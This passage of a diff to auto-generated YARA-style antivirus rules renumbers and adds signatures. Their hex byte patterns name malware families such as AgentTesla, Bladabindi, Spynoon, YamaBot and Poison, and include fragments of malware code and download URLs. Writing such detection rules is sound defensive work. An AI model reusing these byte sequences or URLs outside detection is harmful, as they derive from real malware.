00 1c 01 89 f8 83 e0 02 89 f9 83 cf 02 0f af f8 83 f0 02 83 e1 fd 0f af c8 01 cf 83 ff 04 72 0a 00 32 01 0f b6 d2 c1 e1 05 81 e1 e0 7f 00 00 31 d1 0f b7 94 4e 72 92 02 00 89 } //21539 - $a_ff_1 = {00 00 66 89 94 7e 72 92 01 00 89 da 42 66 89 84 4e 72 92 02 00 45 0a 00 16 01 c5 0e 04 45 0b 03 56 01 0e b0 01 43 0e c0 01 02 8c 0a 0e 14 41 c3 00 00 78 b5 00 00 0b 00 0b 00 0b 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 53 70 79 3a 57 69 6e 33 32 2f 53 70 79 6e 6f 6f 6e 2e 53 54 45 35 31 00 01 00 0a 01 62 74 67 7a 6c 76 62 6a 73 73 01 00 0a 01 63 6a 71 6e 78 66 6f 67 66 74 01 00 05 01 64 75 71 72 67 01 00 08 01 69 70 74 65 79 66 6b 62 01 00 08 01 6e 65 73 69 67 7a 76 76 01 00 07 01 6e 79 66 79 75 6f 64 01 00 0a 01 72 6f 69 63 6c 77 67 68 76 76 01 00 08 01 72 74 77 75 61 6f 6e 78 01 00 05 01 75 63 6d 71 65 01 00 08 01 76 65 74 6d 75 68 66 79 01 00 0d 01 2e 72 64 61 74 61 24 7a 7a 7a 64 } //-32313 - condition: - ((#a_6f_0 & 1)*21539+(#a_ff_1 & 1)*-32313) >=10 - -} -rule _InfrastructureShared_12612{ +rule _InfrastructureShared_13434{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 0b 00 21 " strings : $a_54_0 = {3a 54 72 6f 6a 61 6e 53 70 79 3a 57 69 6e 33 32 2f 53 70 79 6e 6f 6f 6e 2e 53 54 45 35 31 00 01 00 0a 01 62 74 67 7a 6c 76 62 6a 73 73 01 00 0a 01 63 6a 71 6e 78 66 6f 67 66 74 01 00 05 01 64 75 71 72 67 01 00 08 01 69 70 74 65 79 66 6b 62 01 00 08 } //18467 - $a_73_1 = {67 7a 76 76 01 00 07 01 6e 79 66 79 75 6f 64 01 00 0a 01 72 6f 69 63 6c 77 67 68 76 76 01 00 08 01 72 74 77 75 61 6f 6e 78 01 00 05 01 75 63 6d 71 65 01 00 08 01 76 65 74 6d 75 68 66 79 01 00 0d 01 2e 72 64 61 74 61 24 7a 7a 7a 64 62 67 00 00 78 b5 00 00 0d 00 0d 00 04 00 21 23 48 53 54 52 3a 54 72 6f } //28161 - $a_3a_2 = {53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 4f 58 47 51 21 4d 54 42 00 0a 00 38 02 25 16 03 9e 25 17 04 9e 28 90 01 04 0a 02 19 8d 90 01 04 25 16 06 9e 25 17 04 9e 25 18 05 9e 19 28 90 01 04 28 90 01 04 b7 0b 02 73 90 01 04 07 28 90 01 04 26 2a 90 00 01 00 13 80 01 67 65 74 5f 56 61 6c 75 65 45 6e 75 6d 65 72 61 74 6f 72 01 00 } //24938 - $a_67_3 = {74 } //-32749 t - $a_73_4 = {72 69 63 74 65 64 45 72 72 6f 72 01 00 15 80 01 54 61 73 6b 43 61 6e 63 65 6c 65 64 45 78 63 65 70 74 69 6f 6e 00 00 78 b5 00 00 0d 00 0d 00 05 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 42 6c 61 64 61 62 69 6e 64 69 2e 4e 45 4c 21 4d 54 42 00 04 00 07 01 6b 61 5d 6c 6c 65 61 04 00 1f 01 } //21087 - $a_62_5 = {5f 61 62 62 62 62 62 62 62 62 62 62 62 62 62 62 62 62 62 62 62 62 62 62 61 5f 02 00 14 01 6d 00 41 00 73 00 69 00 6c 00 70 00 48 00 76 00 65 00 4e 00 02 00 18 01 53 00 79 00 61 00 49 00 41 00 4b 00 72 00 54 00 6e 00 6d 00 45 00 70 00 01 00 22 01 6d 00 73 00 63 00 74 00 6c 00 73 00 5f 00 70 00 72 00 6f } //27499 - $a_00_7 = {73 00 33 00 32 00 00 00 78 b5 00 00 2c 01 2c 01 03 00 21 23 41 4c 46 50 45 52 3a 48 61 63 6b 54 6f 6f 6c 3a 4d 53 49 4c 2f 42 61 62 61 53 68 65 65 70 2e 41 21 64 68 61 00 64 00 3c 01 41 00 72 00 65 00 20 00 79 00 6f 00 75 00 20 00 72 00 65 00 61 00 6c 00 6c 00 79 00 20 00 77 00 61 00 6e 00 74 00 20 00 74 00 6f 00 20 00 64 00 65 00 6c 00 65 00 } //101 - $a_00_8 = {3f 00 64 00 0e 01 41 00 6c 00 69 00 62 00 61 00 62 00 61 00 64 00 30 01 20 00 3a 00 20 00 50 00 6c 00 75 00 67 00 69 00 6e 00 20 00 6e 00 6f 00 74 00 20 00 69 00 6e 00 73 00 74 00 61 00 6c 00 6c 00 65 00 64 00 2e 00 00 00 78 b5 00 00 2c 01 2c 01 03 00 21 23 41 4c 46 50 45 52 3a 54 72 6f 6a 61 6e 3a 57 } //116 - $a_34_9 = {59 61 6d 61 42 6f 74 2e 41 21 64 68 61 00 64 00 28 01 59 61 6d 61 42 6f 74 2f 65 6e 67 69 6e 65 2e 28 2a 46 69 6c 65 53 74 72 75 63 74 29 2e 67 65 74 45 67 67 50 } //28265 - $a_65_10 = {00 2a 01 59 61 6d 61 42 6f 74 2f 65 6e 67 69 6e 65 2e 28 2a 46 69 6c 65 53 74 72 75 63 74 29 2e 67 65 74 53 65 73 73 69 6f 6e 53 74 72 64 00 2b 01 59 61 6d 61 42 6f 74 2f 65 6e 67 69 6e 65 2e 28 2a 46 69 6c 65 53 74 72 75 63 74 29 2e 67 65 74 49 6e 69 74 42 6f 74 49 6e 66 6f 00 00 78 b5 00 00 64 } //26994 + $a_73_1 = {67 7a 76 76 01 00 07 01 6e 79 66 79 75 6f 64 01 00 0a 01 72 6f 69 63 6c 77 67 68 76 76 01 00 08 01 72 74 77 75 61 6f 6e 78 01 00 05 01 75 63 6d 71 65 01 00 08 01 76 65 74 6d 75 68 66 79 01 00 0d 01 2e 72 64 61 74 61 24 7a 7a 7a 64 62 67 00 00 78 b5 00 00 0c 00 0c 00 03 00 21 23 54 45 4c 3a 54 72 6f 6a } //28161 + $a_4d_2 = {49 4c 2f 42 6c 61 64 61 62 69 6e 64 69 2e 5a 5a 50 21 4d 54 42 00 0a 00 5d 03 0a 25 fe 09 01 00 28 90 01 01 00 00 0a fe 09 02 00 28 90 01 01 00 00 0a 6f 90 01 01 00 00 0a 25 } //28257 + $a_00_5 = {00 8e 69 6f 90 01 01 00 00 0a fe 0e } //-512 + $a_90_6 = {01 00 00 0a 6f 90 01 01 00 00 0a 28 90 01 01 00 00 0a fe 0c 01 00 6f 90 01 01 00 00 0a 2a 90 00 01 00 10 01 46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 01 00 0f 01 43 72 65 61 74 65 44 65 63 72 79 70 74 6f 72 00 00 78 b5 00 00 0d 00 0d 00 04 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c } //1 + $a_58_7 = {51 21 4d 54 42 00 0a 00 38 02 25 16 03 9e 25 17 04 9e 28 90 01 04 0a 02 19 8d 90 01 04 25 16 06 9e 25 17 04 9e 25 18 05 9e 19 28 90 01 04 28 90 01 04 b7 0b 02 73 90 01 04 07 28 90 01 04 26 2a 90 00 01 00 13 80 01 67 65 74 5f 56 61 6c 75 } //11873 + $a_75_8 = {65 72 61 74 6f 72 01 00 13 80 01 67 65 74 5f 52 65 73 74 72 69 63 74 65 64 45 72 72 6f 72 01 00 15 80 01 54 61 73 6b 43 61 6e 63 65 6c 65 64 45 78 63 65 70 74 69 6f 6e 00 00 78 b5 00 00 0d 00 0d 00 05 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 42 6c 61 64 61 62 69 6e 64 69 2e 4e 45 4c 21 4d 54 42 00 04 00 07 01 6b } //17765 + $a_6c_9 = {61 04 00 1f 01 6b 6b 65 62 5f 5f 61 62 62 62 62 62 62 62 62 62 62 62 62 62 62 62 62 62 62 62 62 62 62 61 5f 02 00 14 01 6d 00 41 00 73 00 69 00 6c 00 70 00 48 00 76 00 65 00 4e 00 02 00 18 01 53 00 79 00 61 00 49 00 41 00 4b 00 72 00 54 00 6e 00 6d 00 45 00 70 00 01 00 22 01 6d 00 73 00 63 00 74 00 6c 00 73 00 5f 00 70 00 } //23905 + $a_00_10 = {67 00 72 00 65 00 73 00 73 00 33 00 32 00 00 00 78 b5 00 00 23 00 23 00 03 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 50 6f 69 73 6f 6e 2e 4c 4d 48 21 4d 54 42 00 14 00 33 01 33 c6 5a 81 ea 99 47 40 00 b8 8a 0e fb 2d 8b c8 81 e9 99 df ba 2d 48 03 ca 33 db 81 c3 67 17 fb 2d 81 f3 78 11 fb 2d d6 03 c6 68 0b 70 fa 2d } //114 condition: - ((#a_54_0 & 1)*18467+(#a_73_1 & 1)*28161+(#a_3a_2 & 1)*24938+(#a_67_3 & 1)*-32749+(#a_73_4 & 1)*21087+(#a_62_5 & 1)*27499+(#a_00_7 & 1)*101+(#a_00_8 & 1)*116+(#a_34_9 & 1)*28265+(#a_65_10 & 1)*26994) >=11 + ((#a_54_0 & 1)*18467+(#a_73_1 & 1)*28161+(#a_4d_2 & 1)*28257+(#a_00_5 & 1)*-512+(#a_90_6 & 1)*1+(#a_58_7 & 1)*11873+(#a_75_8 & 1)*17765+(#a_6c_9 & 1)*23905+(#a_00_10 & 1)*114) >=11 } -rule _InfrastructureShared_12613{ +rule _InfrastructureShared_13435{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 03 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 42 6c 61 64 61 62 69 6e 64 69 2e 5a 5a 50 21 4d 54 42 00 0a 00 5d 03 0a 25 fe 09 01 00 28 90 01 01 00 00 0a fe 09 02 00 28 90 01 01 00 00 0a 6f 90 01 01 00 00 0a 25 fe 0c } //21539 + $a_00_1 = {00 00 00 fe 0c 00 00 8e 69 6f 90 01 01 00 00 0a fe 0e 01 00 6f 90 01 01 00 00 0a 6f 90 01 01 00 } //0 + $a_90_2 = {01 00 00 0a fe 0c 01 00 6f 90 01 01 00 00 0a 2a 90 00 01 00 10 01 46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 01 00 } //2560 + condition: + ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*0+(#a_90_2 & 1)*2560) >=12 + +} +rule _InfrastructureShared_13436{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0d 00 0d 00 04 00 21 " @@ -140865,19 +150206,30 @@ rule _InfrastructureShared_12613{ ((#a_54_0 & 1)*18467+(#a_90_1 & 1)*1796+(#a_69_2 & 1)*29811+(#a_62_3 & 1)*25186) >=13 } -rule _InfrastructureShared_12614{ +rule _InfrastructureShared_13437{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0d 00 0d 00 05 00 21 " strings : $a_46_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 42 6c 61 64 61 62 69 6e 64 69 2e 4e 45 4c 21 4d 54 42 00 04 00 07 01 6b 61 5d 6c 6c 65 61 04 00 1f 01 6b 6b 65 62 5f 5f 61 62 62 62 62 62 62 62 62 62 62 62 62 62 62 62 62 62 62 62 62 62 62 61 } //16675 $a_00_2 = {73 00 69 00 6c 00 70 00 48 00 76 00 65 00 4e 00 02 00 18 01 53 00 79 00 61 00 49 00 41 00 4b 00 72 00 54 00 6e 00 6d 00 45 00 70 00 01 00 22 01 6d 00 73 00 63 00 74 00 6c 00 73 00 5f 00 70 00 72 } //109 - $a_00_4 = {73 00 73 00 33 00 32 00 00 00 78 b5 00 00 2c 01 2c 01 03 00 21 23 41 4c 46 50 45 52 3a 48 61 63 6b 54 6f 6f 6c 3a 4d 53 49 4c 2f 42 61 62 61 53 68 65 65 70 2e 41 21 64 68 61 00 64 00 3c 01 41 00 72 00 65 00 20 00 79 00 6f 00 75 00 20 00 72 00 65 00 61 00 6c 00 6c 00 79 00 20 00 77 00 61 00 6e 00 74 00 } //114 + $a_00_4 = {73 00 73 00 33 00 32 00 00 00 78 b5 00 00 23 00 23 00 03 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 50 6f 69 73 6f 6e 2e 4c 4d 48 21 4d 54 42 00 14 00 33 01 33 c6 5a 81 ea 99 47 40 00 b8 8a 0e fb 2d 8b c8 81 e9 99 df ba 2d 48 03 ca 33 db 81 c3 67 17 fb 2d 81 f3 78 11 fb 2d d6 03 c6 68 } //114 condition: ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*109+(#a_00_4 & 1)*114) >=13 } -rule _InfrastructureShared_12615{ +rule _InfrastructureShared_13438{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,23 00 23 00 03 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 50 6f 69 73 6f 6e 2e 4c 4d 48 21 4d 54 42 00 14 00 33 01 33 c6 5a 81 ea 99 47 40 00 b8 8a 0e fb 2d 8b c8 81 e9 99 df ba 2d 48 03 ca 33 db 81 c3 67 17 fb 2d 81 f3 78 11 } //21539 + $a_03_1 = {c6 68 0b 70 fa 2d 5e 23 c7 40 0a 00 1f 01 31 31 b8 86 19 fb 2d 2b d8 81 c3 85 19 fb 2d b8 49 70 fa 2d 03 f0 48 33 c2 41 41 41 41 1b c4 05 00 2d 03 60 55 89 e5 81 ec 04 01 00 00 89 e7 68 04 01 00 00 57 e8 90 01 04 25 77 69 6e 64 69 72 25 5c 73 79 73 74 90 01 01 6d 33 32 5c 45 90 00 00 00 78 b5 00 00 2c 01 2c 01 03 00 21 23 41 4c 46 50 45 52 3a 48 61 63 6b 54 6f 6f 6c 3a 4d 53 49 4c 2f 42 61 62 61 53 68 65 65 70 2e 41 21 64 68 61 00 64 00 3c 01 41 00 72 00 65 00 20 00 79 00 6f 00 75 00 20 00 72 00 65 00 61 00 6c 00 6c 00 79 00 20 00 77 00 61 00 6e 00 74 00 20 00 74 00 6f 00 20 00 64 00 65 00 6c 00 65 00 74 00 65 00 3f 00 64 00 0e 01 41 } //11771 + condition: + ((#a_4c_0 & 1)*21539+(#a_03_1 & 1)*11771) >=35 + +} +rule _InfrastructureShared_13439{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,2c 01 2c 01 03 00 21 " @@ -140888,7 +150240,7 @@ rule _InfrastructureShared_12615{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*32) >=300 } -rule _InfrastructureShared_12616{ +rule _InfrastructureShared_13440{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,2c 01 2c 01 03 00 21 " @@ -140899,7 +150251,7 @@ rule _InfrastructureShared_12616{ ((#a_46_0 & 1)*16675+(#a_61_1 & 1)*298) >=300 } -rule _InfrastructureShared_12617{ +rule _InfrastructureShared_13441{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,64 00 0b 00 03 00 21 " @@ -140910,7 +150262,7 @@ rule _InfrastructureShared_12617{ ((#a_5f_0 & 1)*25635+(#a_00_2 & 1)*99) >=11 } -rule _InfrastructureShared_12618{ +rule _InfrastructureShared_13442{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -140920,7 +150272,7 @@ rule _InfrastructureShared_12618{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_12619{ +rule _InfrastructureShared_13443{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -140930,7 +150282,7 @@ rule _InfrastructureShared_12619{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_12620{ +rule _InfrastructureShared_13444{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -140940,7 +150292,7 @@ rule _InfrastructureShared_12620{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_12621{ +rule _InfrastructureShared_13445{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " @@ -140952,7 +150304,7 @@ rule _InfrastructureShared_12621{ ((#a_46_0 & 1)*16675+(#a_35_1 & 1)*14393+(#a_23_2 & 1)*3) >=1 } -rule _InfrastructureShared_12622{ +rule _InfrastructureShared_13446{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " @@ -140964,7 +150316,7 @@ rule _InfrastructureShared_12622{ ((#a_46_0 & 1)*16675+(#a_2d_1 & 1)*2305+(#a_23_2 & 1)*3) >=1 } -rule _InfrastructureShared_12623{ +rule _InfrastructureShared_13447{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " @@ -140976,7 +150328,7 @@ rule _InfrastructureShared_12623{ ((#a_4c_0 & 1)*21539+(#a_47_1 & 1)*1672+(#a_4d_2 & 1)*-3003) >=1 } -rule _InfrastructureShared_12624{ +rule _InfrastructureShared_13448{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 04 00 21 " @@ -140989,7 +150341,7 @@ rule _InfrastructureShared_12624{ ((#a_54_0 & 1)*18467+(#a_81_1 & 1)*400+(#a_55_2 & 1)*293+(#a_90_3 & 1)*-30463) >=1 } -rule _InfrastructureShared_12625{ +rule _InfrastructureShared_13449{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " @@ -140999,7 +150351,7 @@ rule _InfrastructureShared_12625{ ((#a_46_0 & 1)*16675) >=2 } -rule _InfrastructureShared_12626{ +rule _InfrastructureShared_13450{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -141009,7 +150361,7 @@ rule _InfrastructureShared_12626{ ((#a_54_0 & 1)*18467) >=2 } -rule _InfrastructureShared_12627{ +rule _InfrastructureShared_13451{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -141020,7 +150372,7 @@ rule _InfrastructureShared_12627{ ((#a_54_0 & 1)*18467+(#a_28_1 & 1)*23913) >=2 } -rule _InfrastructureShared_12628{ +rule _InfrastructureShared_13452{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -141031,7 +150383,7 @@ rule _InfrastructureShared_12628{ ((#a_54_0 & 1)*18467+(#a_09_1 & 1)*5909) >=2 } -rule _InfrastructureShared_12629{ +rule _InfrastructureShared_13453{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -141041,7 +150393,7 @@ rule _InfrastructureShared_12629{ ((#a_54_0 & 1)*18467) >=2 } -rule _InfrastructureShared_12630{ +rule _InfrastructureShared_13454{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -141051,7 +150403,7 @@ rule _InfrastructureShared_12630{ ((#a_54_0 & 1)*18467) >=2 } -rule _InfrastructureShared_12631{ +rule _InfrastructureShared_13455{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -141061,7 +150413,7 @@ rule _InfrastructureShared_12631{ ((#a_46_0 & 1)*21283) >=2 } -rule _InfrastructureShared_12632{ +rule _InfrastructureShared_13456{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -141071,7 +150423,7 @@ rule _InfrastructureShared_12632{ ((#a_4c_0 & 1)*21539) >=2 } -rule _InfrastructureShared_12633{ +rule _InfrastructureShared_13457{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -141082,7 +150434,7 @@ rule _InfrastructureShared_12633{ ((#a_4c_0 & 1)*21539+(#a_f2_1 & 1)*21080) >=2 } -rule _InfrastructureShared_12634{ +rule _InfrastructureShared_13458{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 05 00 21 " @@ -141096,7 +150448,7 @@ rule _InfrastructureShared_12634{ ((#a_54_0 & 1)*18467+(#a_ef_1 & 1)*-14847+(#a_c6_2 & 1)*-17851+(#a_6d_3 & 1)*29254+(#a_6c_4 & 1)*25646) >=2 } -rule _InfrastructureShared_12635{ +rule _InfrastructureShared_13459{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -141108,7 +150460,7 @@ rule _InfrastructureShared_12635{ ((#a_46_0 & 1)*16675+(#a_45_1 & 1)*28530+(#a_54_2 & 1)*18479) >=3 } -rule _InfrastructureShared_12636{ +rule _InfrastructureShared_13460{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -141120,7 +150472,7 @@ rule _InfrastructureShared_12636{ ((#a_46_0 & 1)*16675+(#a_3a_1 & 1)*23911+(#a_63_2 & 1)*27234) >=3 } -rule _InfrastructureShared_12637{ +rule _InfrastructureShared_13461{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -141132,7 +150484,7 @@ rule _InfrastructureShared_12637{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*22551+(#a_06_2 & 1)*1555) >=3 } -rule _InfrastructureShared_12638{ +rule _InfrastructureShared_13462{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -141143,7 +150495,7 @@ rule _InfrastructureShared_12638{ ((#a_54_0 & 1)*18467+(#a_59_1 & 1)*4449) >=3 } -rule _InfrastructureShared_12639{ +rule _InfrastructureShared_13463{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -141155,7 +150507,7 @@ rule _InfrastructureShared_12639{ ((#a_46_0 & 1)*21283+(#a_08_1 & 1)*400+(#a_97_2 & 1)*-12661) >=3 } -rule _InfrastructureShared_12640{ +rule _InfrastructureShared_13464{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -141167,7 +150519,7 @@ rule _InfrastructureShared_12640{ ((#a_46_0 & 1)*21283+(#a_76_1 & 1)*27651+(#a_3a_2 & 1)*19521) >=3 } -rule _InfrastructureShared_12641{ +rule _InfrastructureShared_13465{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 21 " @@ -141178,7 +150530,20 @@ rule _InfrastructureShared_12641{ ((#a_46_0 & 1)*16675+(#a_47_1 & 1)*29806) >=3 } -rule _InfrastructureShared_12642{ +rule _InfrastructureShared_13466{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 21 " + + strings : + $a_6c_0 = {77 4c 69 73 74 3a 41 70 70 6c 69 63 61 74 69 6f 6e 45 61 73 79 66 61 73 74 00 02 00 30 80 01 45 61 73 79 66 61 73 74 20 2d 20 50 72 6f 66 65 73 73 69 6f 6e 61 6c 20 4e 65 74 77 6f 72 6b 20 4d 61 69 6e 74 65 6e 61 6e 63 65 20 54 6f 6f 6c 02 00 0a 80 01 45 61 73 79 66 61 73 74 2d 53 01 00 10 80 01 36 35 39 35 62 36 34 31 34 } //16675 + $a_66_1 = {64 66 01 00 30 80 01 53 68 61 6e 67 68 61 69 20 5a 68 75 6d 65 69 20 43 75 6c 74 75 72 61 6c 20 43 6f 6d 6d 75 6e 69 63 61 74 69 6f 6e 20 43 6f 2e 2c 20 4c 74 64 2e 00 00 78 b6 00 00 03 00 03 00 04 00 21 23 48 53 54 52 3a 50 75 6d 62 61 2e 43 00 01 00 3d 01 00 68 74 74 70 3a 2f 2f 63 68 65 63 6b } //25396 + $a_64_2 = {6e 64 6e 73 2e 6f 72 67 2f 00 00 ff ff ff ff 17 00 00 00 68 74 74 70 3a 2f 2f 69 70 2d 61 70 69 2e 63 6f 6d 2f 6a 73 6f 6e 2f 00 01 00 1b } //28777 + $a_66_3 = {2e 64 6c 6c 00 ff ff ff ff 09 00 00 00 73 6e 78 68 6b 2e 64 6c 6c 00 01 00 20 01 00 74 74 70 3a 2f 2f 77 77 77 2e 34 73 68 61 72 65 64 2e 63 6f 6d 2f 64 6f 77 6e 6c 6f 61 64 2f 01 00 15 03 00 5c 44 50 52 30 30 90 01 01 2e 65 78 65 00 ff ff ff ff 90 } //1 + condition: + ((#a_6c_0 & 1)*16675+(#a_66_1 & 1)*25396+(#a_64_2 & 1)*28777+(#a_66_3 & 1)*1) >=3 + +} +rule _InfrastructureShared_13467{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 21 " @@ -141191,7 +150556,7 @@ rule _InfrastructureShared_12642{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*27748+(#a_2f_2 & 1)*13166+(#a_5b_3 & 1)*1536) >=3 } -rule _InfrastructureShared_12643{ +rule _InfrastructureShared_13468{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 05 00 21 " @@ -141205,7 +150570,7 @@ rule _InfrastructureShared_12643{ ((#a_46_0 & 1)*16675+(#a_65_1 & 1)*16129+(#a_ca_2 & 1)*762+(#a_5f_3 & 1)*29554+(#a_63_4 & 1)*29545) >=3 } -rule _InfrastructureShared_12644{ +rule _InfrastructureShared_13469{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 05 00 21 " @@ -141219,7 +150584,7 @@ rule _InfrastructureShared_12644{ ((#a_5f_0 & 1)*16931+(#a_65_1 & 1)*28015+(#a_75_2 & 1)*12082+(#a_61_3 & 1)*8302+(#a_61_4 & 1)*30821) >=3 } -rule _InfrastructureShared_12645{ +rule _InfrastructureShared_13470{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 05 00 21 " @@ -141233,7 +150598,7 @@ rule _InfrastructureShared_12645{ ((#a_54_0 & 1)*18467+(#a_74_1 & 1)*24931+(#a_65_2 & 1)*24434+(#a_00_3 & 1)*-18173+(#a_01_4 & 1)*-27253) >=3 } -rule _InfrastructureShared_12646{ +rule _InfrastructureShared_13471{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 06 00 21 " @@ -141248,7 +150613,7 @@ rule _InfrastructureShared_12646{ ((#a_5f_0 & 1)*25635+(#a_56_1 & 1)*22632+(#a_6e_2 & 1)*27247+(#a_74_3 & 1)*28499+(#a_00_4 & 1)*21581+(#a_37_5 & 1)*13357) >=3 } -rule _InfrastructureShared_12647{ +rule _InfrastructureShared_13472{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -141261,7 +150626,7 @@ rule _InfrastructureShared_12647{ ((#a_46_0 & 1)*16675+(#a_35_1 & 1)*11568+(#a_55_2 & 1)*25968+(#a_73_3 & 1)*25458) >=4 } -rule _InfrastructureShared_12648{ +rule _InfrastructureShared_13473{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -141274,7 +150639,7 @@ rule _InfrastructureShared_12648{ ((#a_54_0 & 1)*18467+(#a_24_1 & 1)*-32475+(#a_61_2 & 1)*25700+(#a_2f_3 & 1)*13934) >=4 } -rule _InfrastructureShared_12649{ +rule _InfrastructureShared_13474{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 03 00 21 " @@ -141286,7 +150651,7 @@ rule _InfrastructureShared_12649{ ((#a_46_0 & 1)*16675+(#a_51_1 & 1)*299+(#a_70_2 & 1)*27440) >=5 } -rule _InfrastructureShared_12650{ +rule _InfrastructureShared_13475{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -141300,7 +150665,7 @@ rule _InfrastructureShared_12650{ ((#a_46_0 & 1)*16675+(#a_63_1 & 1)*29532+(#a_54_2 & 1)*26966+(#a_00_3 & 1)*144+(#a_c0_4 & 1)*18434) >=5 } -rule _InfrastructureShared_12651{ +rule _InfrastructureShared_13476{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -141314,7 +150679,7 @@ rule _InfrastructureShared_12651{ ((#a_46_0 & 1)*16675+(#a_20_1 & 1)*30063+(#a_75_2 & 1)*24942+(#a_69_3 & 1)*29816+(#a_33_4 & 1)*26967) >=5 } -rule _InfrastructureShared_12652{ +rule _InfrastructureShared_13477{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -141328,7 +150693,7 @@ rule _InfrastructureShared_12652{ ((#a_46_0 & 1)*16675+(#a_20_1 & 1)*28526+(#a_6f_2 & 1)*21611+(#a_08_3 & 1)*-29951+(#a_39_4 & 1)*6912) >=5 } -rule 